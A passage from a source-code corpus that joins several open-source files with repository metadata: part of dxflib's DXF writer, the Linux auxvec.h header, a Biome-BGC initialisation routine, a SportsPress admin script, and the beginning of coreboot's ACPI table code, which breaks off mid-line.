dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(281, 1); dw.dxfString( 3, "Normal"); dw.dxfHex(350, 0xF); //dw.dxfHex(350, dw.getNextHandle()+5); // F dw.dxfString(100, "AcDbDictionaryWithDefault"); dw.dxfHex(340, 0xF); //dw.dxfHex(340, dw.getNextHandle()+5); // F dw.dxfString( 0, "ACDBPLACEHOLDER"); dw.dxfHex(5, 0xF); //dw.handle(); // F //dw.dxfHex(330, dicId4); // E dw.dxfString( 0, "DICTIONARY"); //dicId3 = dw.handle(); // 17 dw.dxfHex(5, 0x17); //dw.dxfHex(330, 0xC); // C dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(280, 0); dw.dxfInt(281, 1); dw.dxfString( 3, "Standard"); dw.dxfHex(350, 0x18); //dw.dxfHex(350, dw.getNextHandle()+5); // 18 dw.dxfString( 0, "MLINESTYLE"); dw.dxfHex(5, 0x18); //dw.handle(); // 18 //dw.dxfHex(330, dicId3); // 17 dw.dxfString(100, "AcDbMlineStyle"); dw.dxfString( 2, "STANDARD"); dw.dxfInt( 70, 0); dw.dxfString( 3, ""); dw.dxfInt( 62, 256); dw.dxfReal( 51, 90.0); dw.dxfReal( 52, 90.0); dw.dxfInt( 71, 2); dw.dxfReal( 49, 0.5); dw.dxfInt( 62, 256); dw.dxfString( 6, "BYLAYER"); dw.dxfReal( 49, -0.5); dw.dxfInt( 62, 256); dw.dxfString( 6, "BYLAYER"); dw.dxfString( 0, "DICTIONARY"); dw.dxfHex(5, 0x19); //dw.handle(); // 17 //dw.dxfHex(330, 0xC); // C dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(280, 0); dw.dxfInt(281, 1); dw.dxfString( 0, "DICTIONARY"); //dicId2 = dw.handle(); // 1A dw.dxfHex(5, 0x1A); //dw.dxfHex(330, 0xC); dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(281, 1); dw.dxfString( 3, "Layout1"); dw.dxfHex(350, 0x1E); //dw.dxfHex(350, dw.getNextHandle()+2); // 1E dw.dxfString( 3, "Layout2"); dw.dxfHex(350, 0x26); //dw.dxfHex(350, dw.getNextHandle()+4); // 26 dw.dxfString( 3, "Model"); dw.dxfHex(350, 0x22); //dw.dxfHex(350, dw.getNextHandle()+5); // 22 dw.dxfString( 0, "LAYOUT"); dw.dxfHex(5, 0x1E); //dw.handle(); // 1E //dw.dxfHex(330, dicId2); // 1A dw.dxfString(100, "AcDbPlotSettings"); dw.dxfString( 1, ""); dw.dxfString( 2, "C:\\Program Files\\AutoCAD 2002\\plotters\\DWF ePlot (optimized for plotting).pc3"); dw.dxfString( 4, ""); dw.dxfString( 6, ""); dw.dxfReal( 40, 0.0); dw.dxfReal( 41, 0.0); dw.dxfReal( 42, 0.0); dw.dxfReal( 43, 0.0); dw.dxfReal( 44, 0.0); dw.dxfReal( 45, 0.0); dw.dxfReal( 46, 0.0); dw.dxfReal( 47, 0.0); dw.dxfReal( 48, 0.0); dw.dxfReal( 49, 0.0); dw.dxfReal(140, 0.0); dw.dxfReal(141, 0.0); dw.dxfReal(142, 1.0); dw.dxfReal(143, 1.0); dw.dxfInt( 70, 688); dw.dxfInt( 72, 0); dw.dxfInt( 73, 0); dw.dxfInt( 74, 5); dw.dxfString( 7, ""); dw.dxfInt( 75, 16); dw.dxfReal(147, 1.0); dw.dxfReal(148, 0.0); dw.dxfReal(149, 0.0); dw.dxfString(100, "AcDbLayout"); dw.dxfString( 1, "Layout1"); dw.dxfInt( 70, 1); dw.dxfInt( 71, 1); dw.dxfReal( 10, 0.0); dw.dxfReal( 20, 0.0); dw.dxfReal( 11, 420.0); dw.dxfReal( 21, 297.0); dw.dxfReal( 12, 0.0); dw.dxfReal( 22, 0.0); dw.dxfReal( 32, 0.0); dw.dxfReal( 14, 1.000000000000000E+20); dw.dxfReal( 24, 1.000000000000000E+20); dw.dxfReal( 34, 1.000000000000000E+20); dw.dxfReal( 15, -1.000000000000000E+20); dw.dxfReal( 25, -1.000000000000000E+20); dw.dxfReal( 35, -1.000000000000000E+20); dw.dxfReal(146, 0.0); dw.dxfReal( 13, 0.0); dw.dxfReal( 23, 0.0); dw.dxfReal( 33, 0.0); dw.dxfReal( 16, 1.0); dw.dxfReal( 26, 0.0); dw.dxfReal( 36, 0.0); dw.dxfReal( 17, 0.0); dw.dxfReal( 27, 1.0); dw.dxfReal( 37, 0.0); dw.dxfInt( 76, 0); //dw.dxfHex(330, dw.getPaperSpaceHandle()); // 1B dw.dxfHex(330, 0x1B); dw.dxfString( 0, "LAYOUT"); dw.dxfHex(5, 0x22); //dw.handle(); // 22 //dw.dxfHex(330, dicId2); // 1A dw.dxfString(100, "AcDbPlotSettings"); dw.dxfString( 1, ""); dw.dxfString( 2, "C:\\Program Files\\AutoCAD 2002\\plotters\\DWF ePlot (optimized for plotting).pc3"); dw.dxfString( 4, ""); dw.dxfString( 6, ""); dw.dxfReal( 40, 0.0); dw.dxfReal( 41, 0.0); dw.dxfReal( 42, 0.0); dw.dxfReal( 43, 0.0); dw.dxfReal( 44, 0.0); dw.dxfReal( 45, 0.0); dw.dxfReal( 46, 0.0); dw.dxfReal( 47, 0.0); dw.dxfReal( 48, 0.0); dw.dxfReal( 49, 0.0); dw.dxfReal(140, 0.0); dw.dxfReal(141, 0.0); dw.dxfReal(142, 1.0); dw.dxfReal(143, 1.0); dw.dxfInt( 70, 1712); dw.dxfInt( 72, 0); dw.dxfInt( 73, 0); dw.dxfInt( 74, 0); dw.dxfString( 7, ""); dw.dxfInt( 75, 0); dw.dxfReal(147, 1.0); dw.dxfReal(148, 0.0); dw.dxfReal(149, 0.0); dw.dxfString(100, "AcDbLayout"); dw.dxfString( 1, "Model"); dw.dxfInt( 70, 1); dw.dxfInt( 71, 0); dw.dxfReal( 10, 0.0); dw.dxfReal( 20, 0.0); dw.dxfReal( 11, 12.0); dw.dxfReal( 21, 9.0); dw.dxfReal( 12, 0.0); dw.dxfReal( 22, 0.0); dw.dxfReal( 32, 0.0); dw.dxfReal( 14, 0.0); dw.dxfReal( 24, 0.0); dw.dxfReal( 34, 0.0); dw.dxfReal( 15, 0.0); dw.dxfReal( 25, 0.0); dw.dxfReal( 35, 0.0); dw.dxfReal(146, 0.0); dw.dxfReal( 13, 0.0); dw.dxfReal( 23, 0.0); dw.dxfReal( 33, 0.0); dw.dxfReal( 16, 1.0); dw.dxfReal( 26, 0.0); dw.dxfReal( 36, 0.0); dw.dxfReal( 17, 0.0); dw.dxfReal( 27, 1.0); dw.dxfReal( 37, 0.0); dw.dxfInt( 76, 0); //dw.dxfHex(330, dw.getModelSpaceHandle()); // 1F dw.dxfHex(330, 0x1F); dw.dxfString( 0, "LAYOUT"); //dw.handle(); // 26 dw.dxfHex(5, 0x26); //dw.dxfHex(330, dicId2); // 1A dw.dxfString(100, "AcDbPlotSettings"); dw.dxfString( 1, ""); dw.dxfString( 2, "C:\\Program Files\\AutoCAD 2002\\plotters\\DWF ePlot (optimized for plotting).pc3"); dw.dxfString( 4, ""); dw.dxfString( 6, ""); dw.dxfReal( 40, 0.0); dw.dxfReal( 41, 0.0); dw.dxfReal( 42, 0.0); dw.dxfReal( 43, 0.0); dw.dxfReal( 44, 0.0); dw.dxfReal( 45, 0.0); dw.dxfReal( 46, 0.0); dw.dxfReal( 47, 0.0); dw.dxfReal( 48, 0.0); dw.dxfReal( 49, 0.0); dw.dxfReal(140, 0.0); dw.dxfReal(141, 0.0); dw.dxfReal(142, 1.0); dw.dxfReal(143, 1.0); dw.dxfInt( 70, 688); dw.dxfInt( 72, 0); dw.dxfInt( 73, 0); dw.dxfInt( 74, 5); dw.dxfString( 7, ""); dw.dxfInt( 75, 16); dw.dxfReal(147, 1.0); dw.dxfReal(148, 0.0); dw.dxfReal(149, 0.0); dw.dxfString(100, "AcDbLayout"); dw.dxfString( 1, "Layout2"); dw.dxfInt( 70, 1); dw.dxfInt( 71, 2); dw.dxfReal( 10, 0.0); dw.dxfReal( 20, 0.0); dw.dxfReal( 11, 12.0); dw.dxfReal( 21, 9.0); dw.dxfReal( 12, 0.0); dw.dxfReal( 22, 0.0); dw.dxfReal( 32, 0.0); dw.dxfReal( 14, 0.0); dw.dxfReal( 24, 0.0); dw.dxfReal( 34, 0.0); dw.dxfReal( 15, 0.0); dw.dxfReal( 25, 0.0); dw.dxfReal( 35, 0.0); dw.dxfReal(146, 0.0); dw.dxfReal( 13, 0.0); dw.dxfReal( 23, 0.0); dw.dxfReal( 33, 0.0); dw.dxfReal( 16, 1.0); dw.dxfReal( 26, 0.0); dw.dxfReal( 36, 0.0); dw.dxfReal( 17, 0.0); dw.dxfReal( 27, 1.0); dw.dxfReal( 37, 0.0); dw.dxfInt( 76, 0); //dw.dxfHex(330, dw.getPaperSpace0Handle()); // 23 dw.dxfHex(330, 0x23); dw.dxfString( 0, "DICTIONARY"); //dw.dxfHex(5, 0x2C); //dicId5 = dw.handle(); // 2C //dw.dxfHex(330, 0xC); // C dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(281, 1); dw.dxfString( 3, "DIMASSOC"); //dw.dxfHex(350, 0x2F); dw.dxfHex(350, dw.getNextHandle()+1); // 2E dw.dxfString( 3, "HIDETEXT"); //dw.dxfHex(350, 0x2E); dw.dxfHex(350, dw.getNextHandle()); // 2D dw.dxfString( 0, "DICTIONARYVAR"); //dw.dxfHex(5, 0x2E); dw.handle(); // 2E //dw.dxfHex(330, dicId5); // 2C dw.dxfString(100, "DictionaryVariables"); dw.dxfInt(280, 0); dw.dxfInt( 1, 2); dw.dxfString( 0, "DICTIONARYVAR"); //dw.dxfHex(5, 0x2D); dw.handle(); // 2D //dw.dxfHex(330, dicId5); // 2C dw.dxfString(100, "DictionaryVariables"); dw.dxfInt(280, 0); dw.dxfInt( 1, 1); } /** * Writes the end of the objects section. This section is needed in VER_R13. * Note that this method currently only writes a faked OBJECTS section * to make the file readable by Aut*cad. */ void DL_Dxf::writeObjectsEnd(DL_WriterA& dw) { dw.dxfString( 0, "ENDSEC"); } /** * Checks if the given variable is known by the given DXF version. */ bool DL_Dxf::checkVariable(const char* var, DL_Codes::version version) { if (version>=VER_2000) { return true; } else if (version==VER_R12) { // these are all the variables recognized by dxf r12: if (!strcmp(var, "$ACADVER")) { return true; } if (!strcmp(var, "$ACADVER")) { return true; } if (!strcmp(var, "$ANGBASE")) { return true; } if (!strcmp(var, "$ANGDIR")) { return true; } if (!strcmp(var, "$ATTDIA")) { return true; } if (!strcmp(var, "$ATTMODE")) { return true; } if (!strcmp(var, "$ATTREQ")) { return true; } if (!strcmp(var, "$AUNITS")) { return true; } if (!strcmp(var, "$AUPREC")) { return true; } if (!strcmp(var, "$AXISMODE")) { return true; } if (!strcmp(var, "$AXISUNIT")) { return true; } if (!strcmp(var, "$BLIPMODE")) { return true; } if (!strcmp(var, "$CECOLOR")) { return true; } if (!strcmp(var, "$CELTYPE")) { return true; } if (!strcmp(var, "$CHAMFERA")) { return true; } if (!strcmp(var, "$CHAMFERB")) { return true; } if (!strcmp(var, "$CLAYER")) { return true; } if (!strcmp(var, "$COORDS")) { return true; } if (!strcmp(var, "$DIMALT")) { return true; } if (!strcmp(var, "$DIMALTD")) { return true; } if (!strcmp(var, "$DIMALTF")) { return true; } if (!strcmp(var, "$DIMAPOST")) { return true; } if (!strcmp(var, "$DIMASO")) { return true; } if (!strcmp(var, "$DIMASZ")) { return true; } if (!strcmp(var, "$DIMBLK")) { return true; } if (!strcmp(var, "$DIMBLK1")) { return true; } if (!strcmp(var, "$DIMBLK2")) { return true; } if (!strcmp(var, "$DIMCEN")) { return true; } if (!strcmp(var, "$DIMCLRD")) { return true; } if (!strcmp(var, "$DIMCLRE")) { return true; } if (!strcmp(var, "$DIMCLRT")) { return true; } if (!strcmp(var, "$DIMDLE")) { return true; } if (!strcmp(var, "$DIMDLI")) { return true; } if (!strcmp(var, "$DIMEXE")) { return true; } if (!strcmp(var, "$DIMEXO")) { return true; } if (!strcmp(var, "$DIMGAP")) { return true; } if (!strcmp(var, "$DIMLFAC")) { return true; } if (!strcmp(var, "$DIMLIM")) { return true; } if (!strcmp(var, "$DIMPOST")) { return true; } if (!strcmp(var, "$DIMRND")) { return true; } if (!strcmp(var, "$DIMSAH")) { return true; } if (!strcmp(var, "$DIMSCALE")) { return true; } if (!strcmp(var, "$DIMSE1")) { return true; } if (!strcmp(var, "$DIMSE2")) { return true; } if (!strcmp(var, "$DIMSHO")) { return true; } if (!strcmp(var, "$DIMSOXD")) { return true; } if (!strcmp(var, "$DIMSTYLE")) { return true; } if (!strcmp(var, "$DIMTAD")) { return true; } if (!strcmp(var, "$DIMTFAC")) { return true; } if (!strcmp(var, "$DIMTIH")) { return true; } if (!strcmp(var, "$DIMTIX")) { return true; } if (!strcmp(var, "$DIMTM")) { return true; } if (!strcmp(var, "$DIMTOFL")) { return true; } if (!strcmp(var, "$DIMTOH")) { return true; } if (!strcmp(var, "$DIMTOL")) { return true; } if (!strcmp(var, "$DIMTP")) { return true; } if (!strcmp(var, "$DIMTSZ")) { return true; } if (!strcmp(var, "$DIMTVP")) { return true; } if (!strcmp(var, "$DIMTXT")) { return true; } if (!strcmp(var, "$DIMZIN")) { return true; } if (!strcmp(var, "$DWGCODEPAGE")) { return true; } if (!strcmp(var, "$DRAGMODE")) { return true; } if (!strcmp(var, "$ELEVATION")) { return true; } if (!strcmp(var, "$EXTMAX")) { return true; } if (!strcmp(var, "$EXTMIN")) { return true; } if (!strcmp(var, "$FILLETRAD")) { return true; } if (!strcmp(var, "$FILLMODE")) { return true; } if (!strcmp(var, "$HANDLING")) { return true; } if (!strcmp(var, "$HANDSEED")) { return true; } if (!strcmp(var, "$INSBASE")) { return true; } if (!strcmp(var, "$LIMCHECK")) { return true; } if (!strcmp(var, "$LIMMAX")) { return true; } if (!strcmp(var, "$LIMMIN")) { return true; } if (!strcmp(var, "$LTSCALE")) { return true; } if (!strcmp(var, "$LUNITS")) { return true; } if (!strcmp(var, "$LUPREC")) { return true; } if (!strcmp(var, "$MAXACTVP")) { return true; } if (!strcmp(var, "$MENU")) { return true; } if (!strcmp(var, "$MIRRTEXT")) { return true; } if (!strcmp(var, "$ORTHOMODE")) { return true; } if (!strcmp(var, "$OSMODE")) { return true; } if (!strcmp(var, "$PDMODE")) { return true; } if (!strcmp(var, "$PDSIZE")) { return true; } if (!strcmp(var, "$PELEVATION")) { return true; } if (!strcmp(var, "$PEXTMAX")) { return true; } if (!strcmp(var, "$PEXTMIN")) { return true; } if (!strcmp(var, "$PLIMCHECK")) { return true; } if (!strcmp(var, "$PLIMMAX")) { return true; } if (!strcmp(var, "$PLIMMIN")) { return true; } if (!strcmp(var, "$PLINEGEN")) { return true; } if (!strcmp(var, "$PLINEWID")) { return true; } if (!strcmp(var, "$PSLTSCALE")) { return true; } if (!strcmp(var, "$PUCSNAME")) { return true; } if (!strcmp(var, "$PUCSORG")) { return true; } if (!strcmp(var, "$PUCSXDIR")) { return true; } if (!strcmp(var, "$PUCSYDIR")) { return true; } if (!strcmp(var, "$QTEXTMODE")) { return true; } if (!strcmp(var, "$REGENMODE")) { return true; } if (!strcmp(var, "$SHADEDGE")) { return true; } if (!strcmp(var, "$SHADEDIF")) { return true; } if (!strcmp(var, "$SKETCHINC")) { return true; } if (!strcmp(var, "$SKPOLY")) { return true; } if (!strcmp(var, "$SPLFRAME")) { return true; } if (!strcmp(var, "$SPLINESEGS")) { return true; } if (!strcmp(var, "$SPLINETYPE")) { return true; } if (!strcmp(var, "$SURFTAB1")) { return true; } if (!strcmp(var, "$SURFTAB2")) { return true; } if (!strcmp(var, "$SURFTYPE")) { return true; } if (!strcmp(var, "$SURFU")) { return true; } if (!strcmp(var, "$SURFV")) { return true; } if (!strcmp(var, "$TDCREATE")) { return true; } if (!strcmp(var, "$TDINDWG")) { return true; } if (!strcmp(var, "$TDUPDATE")) { return true; } if (!strcmp(var, "$TDUSRTIMER")) { return true; } if (!strcmp(var, "$TEXTSIZE")) { return true; } if (!strcmp(var, "$TEXTSTYLE")) { return true; } if (!strcmp(var, "$THICKNESS")) { return true; } if (!strcmp(var, "$TILEMODE")) { return true; } if (!strcmp(var, "$TRACEWID")) { return true; } if (!strcmp(var, "$UCSNAME")) { return true; } if (!strcmp(var, "$UCSORG")) { return true; } if (!strcmp(var, "$UCSXDIR")) { return true; } if (!strcmp(var, "$UCSYDIR")) { return true; } if (!strcmp(var, "$UNITMODE")) { return true; } if (!strcmp(var, "$USERI1")) { return true; } if (!strcmp(var, "$USERR1")) { return true; } if (!strcmp(var, "$USRTIMER")) { return true; } if (!strcmp(var, "$VISRETAIN")) { return true; } if (!strcmp(var, "$WORLDVIEW")) { return true; } if (!strcmp(var, "$FASTZOOM")) { return true; } if (!strcmp(var, "$GRIDMODE")) { return true; } if (!strcmp(var, "$GRIDUNIT")) { return true; } if (!strcmp(var, "$SNAPANG")) { return true; } if (!strcmp(var, "$SNAPBASE")) { return true; } if (!strcmp(var, "$SNAPISOPAIR")) { return true; } if (!strcmp(var, "$SNAPMODE")) { return true; } if (!strcmp(var, "$SNAPSTYLE")) { return true; } if (!strcmp(var, "$SNAPUNIT")) { return true; } if (!strcmp(var, "$VIEWCTR")) { return true; } if (!strcmp(var, "$VIEWDIR")) { return true; } if (!strcmp(var, "$VIEWSIZE")) { return true; } return false; } return false; } /** * @returns the library version as int (4 bytes, each byte one version number). * e.g. if str = "2.0.2.0" getLibVersion returns 0x02000200 */ int DL_Dxf::getLibVersion(const char* str) { int d[4]; int idx = 0; char v[4][5]; int ret = 0; for (unsigned int i=0; i<strlen(str) && idx<3; ++i) { if (str[i]=='.') { d[idx] = i; idx++; } } if (idx==3) { d[3] = strlen(str); strncpy(v[0], str, d[0]); v[0][d[0]] = '\0'; //std::cout << "v[0]: " << atoi(v[0]) << "\n"; strncpy(v[1], &str[d[0]+1], d[1]-d[0]-1); v[1][d[1]-d[0]-1] = '\0'; //std::cout << "v[1]: " << atoi(v[1]) << "\n"; strncpy(v[2], &str[d[1]+1], d[2]-d[1]-1); v[2][d[2]-d[1]-1] = '\0'; //std::cout << "v[2]: " << atoi(v[2]) << "\n"; strncpy(v[3], &str[d[2]+1], d[3]-d[2]-1); v[3][d[3]-d[2]-1] = '\0'; //std::cout << "v[3]: " << atoi(v[3]) << "\n"; ret = (atoi(v[0])<<(3*8)) + (atoi(v[1])<<(2*8)) + (atoi(v[2])<<(1*8)) + (atoi(v[3])<<(0*8)); return ret; } else { std::cerr << "DL_Dxf::getLibVersion: invalid version number: " << str << "\n"; return 0; } } /** * Some test routines. */ void DL_Dxf::test() { char* buf1; char* buf2; char* buf3; char* buf4; char* buf5; char* buf6; buf1 = new char[10]; buf2 = new char[10]; buf3 = new char[10]; buf4 = new char[10]; buf5 = new char[10]; buf6 = new char[10]; strcpy(buf1, " 10\n"); strcpy(buf2, "10"); strcpy(buf3, "10\n"); strcpy(buf4, " 10 \n"); strcpy(buf5, " 10 \r"); strcpy(buf6, "\t10 \n"); std::cout << "1 buf1: '" << buf1 << "'\n"; stripWhiteSpace(&buf1); std::cout << "2 buf1: '" << buf1 << "'\n"; //assert(!strcmp(buf1, "10")); std::cout << "1 buf2: '" << buf2 << "'\n"; stripWhiteSpace(&buf2); std::cout << "2 buf2: '" << buf2 << "'\n"; std::cout << "1 buf3: '" << buf3 << "'\n"; stripWhiteSpace(&buf3); std::cout << "2 buf3: '" << buf3 << "'\n"; std::cout << "1 buf4: '" << buf4 << "'\n"; stripWhiteSpace(&buf4); std::cout << "2 buf4: '" << buf4 << "'\n"; std::cout << "1 buf5: '" << buf5 << "'\n"; stripWhiteSpace(&buf5); std::cout << "2 buf5: '" << buf5 << "'\n"; std::cout << "1 buf6: '" << buf6 << "'\n"; stripWhiteSpace(&buf6); std::cout << "2 buf6: '" << buf6 << "'\n"; }
Seablade/vec2web
dxflib/src/dl_dxf.cpp
C++
gpl-2.0
136,313
#ifndef _LINUX_AUXVEC_H #define _LINUX_AUXVEC_H #include <asm/auxvec.h> #define AT_NULL 0 /* end of vector */ #define AT_IGNORE 1 /* entry should be ignored */ #define AT_EXECFD 2 /* file descriptor of program */ #define AT_PHDR 3 /* program headers for program */ #define AT_PHENT 4 /* size of program header entry */ #define AT_PHNUM 5 /* number of program headers */ #define AT_PAGESZ 6 /* system page size */ #define AT_BASE 7 /* base address of interpreter */ #define AT_FLAGS 8 /* flags */ #define AT_ENTRY 9 /* entry point of program */ #define AT_NOTELF 10 /* program is not ELF */ #define AT_UID 11 /* real uid */ #define AT_EUID 12 /* effective uid */ #define AT_GID 13 /* real gid */ #define AT_EGID 14 /* effective gid */ #define AT_PLATFORM 15 /* string identifying CPU for optimizations */ #define AT_HWCAP 16 /* arch dependent hints at CPU capabilities */ #define AT_CLKTCK 17 /* frequency at which times() increments */ /* AT_* values 18 through 22 are reserved */ #define AT_SECURE 23 /* secure mode boolean */ #define AT_BASE_PLATFORM 24 /* string identifying real platform, may * differ from AT_PLATFORM. */ #define AT_RANDOM 25 /* address of 16 random bytes */ #define AT_EXECFN 31 /* filename of program */ #ifdef __KERNEL__ #define AT_VECTOR_SIZE_BASE 19 /* NEW_AUX_ENT entries in auxiliary table */ /* number of "#define AT_.*" above, minus {AT_NULL, AT_IGNORE, AT_NOTELF} */ #endif #endif /* _LINUX_AUXVEC_H */
luckasfb/OT_903D-kernel-2.6.35.7
kernel/include/linux/auxvec.h
C
gpl-2.0
1,476
/* * zero_srcsnk.c * fill the source and sink variables with 0.0 at the start of the simulation * * *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* * Biome-BGC version 4.2 (final release) * See copyright.txt for Copyright information * *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* */ #include "bgc.h" /* zero the source and sink state variables */ void zero_srcsnk (cstate_struct * cs, nstate_struct * ns, wstate_struct * ws, summary_struct * summary) { /* zero the water sources and sinks */ ws->prcp_src = 0.0; ws->outflow_snk = 0.0; ws->soilevap_snk = 0.0; ws->snowsubl_snk = 0.0; ws->canopyevap_snk = 0.0; ws->trans_snk = 0.0; /* zero the carbon sources and sinks */ cs->psnsun_src = 0.0; cs->psnshade_src = 0.0; cs->leaf_mr_snk = 0.0; cs->leaf_gr_snk = 0.0; cs->froot_mr_snk = 0.0; cs->froot_gr_snk = 0.0; cs->livestem_mr_snk = 0.0; cs->livestem_gr_snk = 0.0; cs->deadstem_gr_snk = 0.0; cs->livecroot_mr_snk = 0.0; cs->livecroot_gr_snk = 0.0; cs->deadcroot_gr_snk = 0.0; cs->litr1_hr_snk = 0.0; cs->litr2_hr_snk = 0.0; cs->litr4_hr_snk = 0.0; cs->soil1_hr_snk = 0.0; cs->soil2_hr_snk = 0.0; cs->soil3_hr_snk = 0.0; cs->soil4_hr_snk = 0.0; cs->fire_snk = 0.0; /* zero the nitrogen sources and sinks */ ns->nfix_src = 0.0; ns->ndep_src = 0.0; ns->nleached_snk = 0.0; ns->nvol_snk = 0.0; ns->fire_snk = 0.0; /* zero the summary variables */ summary->cum_npp = 0.0; summary->cum_nep = 0.0; summary->cum_nee = 0.0; summary->cum_gpp = 0.0; summary->cum_mr = 0.0; summary->cum_gr = 0.0; summary->cum_hr = 0.0; summary->cum_fire = 0.0; }
happynotes/PIHM
src/bgc/zero_srcsnk.c
C
gpl-2.0
1,731
jQuery(document).ready(function($){ $( "#remove_sp_league_menu_logo" ).click(function() { $( ".sp-league-menu-logo-options" ).hide(); $("<input>").attr({ type: "hidden", id: "sp_league_menu_logo_removed", name: "sp_league_menu_logo_removed" }).appendTo( $(this).parent() ); }); $( "#sportspress_league_menu_logo_width" ).on( "input", function() { $( ".sp-league-menu-logo-options img" ).css( "max-width", $(this).val() + 'px' ); }); $( "#sportspress_league_menu_logo_height" ).on( "input", function() { $( ".sp-league-menu-logo-options img" ).css( "max-height", $(this).val() + 'px' ); }); });
mttcmrn/Suffield-Bruins-WP
wp-content/plugins/sportspress-pro.club_.1.9.12/includes/sportspress-league-menu/js/admin.js
JavaScript
gpl-2.0
629
/* * This file is part of the coreboot project. * * coreboot ACPI Table support * written by Stefan Reinauer <stepan@openbios.org> * * Copyright (C) 2004 SUSE LINUX AG * Copyright (C) 2005-2009 coresystems GmbH * * ACPI FADT, FACS, and DSDT table support added by * Nick Barker <nick.barker9@btinternet.com>, and those portions * Copyright (C) 2004 Nick Barker * * Copyright (C) 2005 ADVANCED MICRO DEVICES, INC. All Rights Reserved. * 2005.9 yhlu add SRAT table generation */ /* * Each system port implementing ACPI has to provide two functions: * * write_acpi_tables() * acpi_dump_apics() * * See Kontron 986LCD-M port for a good example of an ACPI implementation * in coreboot. */ #include <console/console.h> #include <string.h> #include <arch/acpi.h> #include <arch/acpigen.h> #include <device/pci.h> #include <cbmem.h> #include <cpu/x86/lapic_def.h> #include <cpu/cpu.h> #include <cbfs.h> #include <timestamp.h> #include <romstage_handoff.h> /* FIXME: Kconfig doesn't support overridable defaults :-( */ #ifndef CONFIG_HPET_MIN_TICKS #define CONFIG_HPET_MIN_TICKS 0x1000 #endif u8 acpi_checksum(u8 *table, u32 length) { u8 ret = 0; while (length--) { ret += *table; table++; } return -ret; } /** * Add an ACPI table to the RSDT (and XSDT) structure, recalculate length * and checksum. */ void acpi_add_table(acpi_rsdp_t *rsdp, void *table) { int i, entries_num; acpi_rsdt_t *rsdt; acpi_xsdt_t *xsdt = NULL; /* The RSDT is mandatory... */ rsdt = (acpi_rsdt_t *)(uintptr_t)rsdp->rsdt_address; /* ...while the XSDT is not. */ if (rsdp->xsdt_address) xsdt = (acpi_xsdt_t *)((uintptr_t)rsdp->xsdt_address); /* This should always be MAX_ACPI_TABLES. */ entries_num = ARRAY_SIZE(rsdt->entry); for (i = 0; i < entries_num; i++) { if (rsdt->entry[i] == 0) break; } if (i >= entries_num) { printk(BIOS_ERR, "ACPI: Error: Could not add ACPI table, " "too many tables.\n"); return; } /* Add table to the RSDT. */ rsdt->entry[i] = (uintptr_t)table; /* Fix RSDT length or the kernel will assume invalid entries. */ rsdt->header.length = sizeof(acpi_header_t) + (sizeof(u32) * (i + 1)); /* Re-calculate checksum. */ rsdt->header.checksum = 0; /* Hope this won't get optimized away */ rsdt->header.checksum = acpi_checksum((u8 *)rsdt, rsdt->header.length); /* * And now the same thing for the XSDT. We use the same index as for * now we want the XSDT and RSDT to always be in sync in coreboot. */ if (xsdt) { /* Add table to the XSDT. */ xsdt->entry[i] = (u64)(uintptr_t)table; /* Fix XSDT length. */ xsdt->header.length = sizeof(acpi_header_t) + (sizeof(u64) * (i + 1)); /* Re-calculate checksum. */ xsdt->header.checksum = 0; xsdt->header.checksum = acpi_checksum((u8 *)xsdt, xsdt->header.length); } printk(BIOS_DEBUG, "ACPI: added table %d/%d, length now %d\n", i + 1, entries_num, rsdt->header.length); } int acpi_create_mcfg_mmconfig(acpi_mcfg_mmconfig_t *mmconfig, u32 base, u16 seg_nr, u8 start, u8 end) { memset(mmconfig, 0, sizeof(*mmconfig)); mmconfig->base_address = base; mmconfig->base_reserved = 0; mmconfig->pci_segment_group_number = seg_nr; mmconfig->start_bus_number = start; mmconfig->end_bus_number = end; return sizeof(acpi_mcfg_mmconfig_t); } int acpi_create_madt_lapic(acpi_madt_lapic_t *lapic, u8 cpu, u8 apic) { lapic->type = 0; /* Local APIC structure */ lapic->length = sizeof(acpi_madt_lapic_t); lapic->flags = (1 << 0); /* Processor/LAPIC enabled */ lapic->processor_id = cpu; lapic->apic_id = apic; return lapic->length; } unsigned long acpi_create_madt_lapics(unsigned long current) { struct device *cpu; int index = 0; for (cpu = all_devices; cpu; cpu = cpu->next) { if ((cpu->path.type != DEVICE_PATH_APIC) || (cpu->bus->dev->path.type != DEVICE_PATH_CPU_CLUSTER)) { continue; } if (!cpu->enabled) continue; current += acpi_create_madt_lapic((acpi_madt_lapic_t *)current, index, cpu->path.apic.apic_id); index++; } return current; } int acpi_create_madt_ioapic(acpi_madt_ioapic_t *ioapic, u8 id, u32 addr, u32 gsi_base) { ioapic->type = 1; /* I/O APIC structure */ ioapic->length = sizeof(acpi_madt_ioapic_t); ioapic->reserved = 0x00; ioapic->gsi_base = gsi_base; ioapic->ioapic_id = id; ioapic->ioapic_addr = addr; return ioapic->length; } int acpi_create_madt_irqoverride(acpi_madt_irqoverride_t *irqoverride, u8 bus, u8 source, u32 gsirq, u16 flags) { irqoverride->type = 2; /* Interrupt source override */ irqoverride->length = sizeof(acpi_madt_irqoverride_t); irqoverride->bus = bus; irqoverride->source = source; irqoverride->gsirq = gsirq; irqoverride->flags = flags; return irqoverride->length; } int acpi_create_madt_lapic_nmi(acpi_madt_lapic_nmi_t *lapic_nmi, u8 cpu, u16 flags, u8 lint) { lapic_nmi->type = 4; /* Local APIC NMI structure */ lapic_nmi->length = sizeof(acpi_madt_lapic_nmi_t); lapic_nmi->flags = flags; lapic_nmi->processor_id = cpu; lapic_nmi->lint = lint; return lapic_nmi->length; } void acpi_create_madt(acpi_madt_t *madt) { acpi_header_t *header = &(madt->header); unsigned long current = (unsigned long)madt + sizeof(acpi_madt_t); memset((void *)madt, 0, sizeof(acpi_madt_t)); /* Fill out header fields. */ memcpy(header->signature, "APIC", 4); memcpy(header->oem_id, OEM_ID, 6); memcpy(header->oem_table_id, ACPI_TABLE_CREATOR, 8); memcpy(header->asl_compiler_id, ASLC, 4); header->length = sizeof(acpi_madt_t); header->revision = 1; /* ACPI 1.0/2.0: 1, ACPI 3.0: 2, ACPI 4.0: 3 */ madt->lapic_addr = LOCAL_APIC_ADDR; madt->flags = 0x1; /* PCAT_COMPAT */ current = acpi_fill_madt(current); /* (Re)calculate length and checksum. */ header->length = current - (unsigned long)madt; header->checksum = 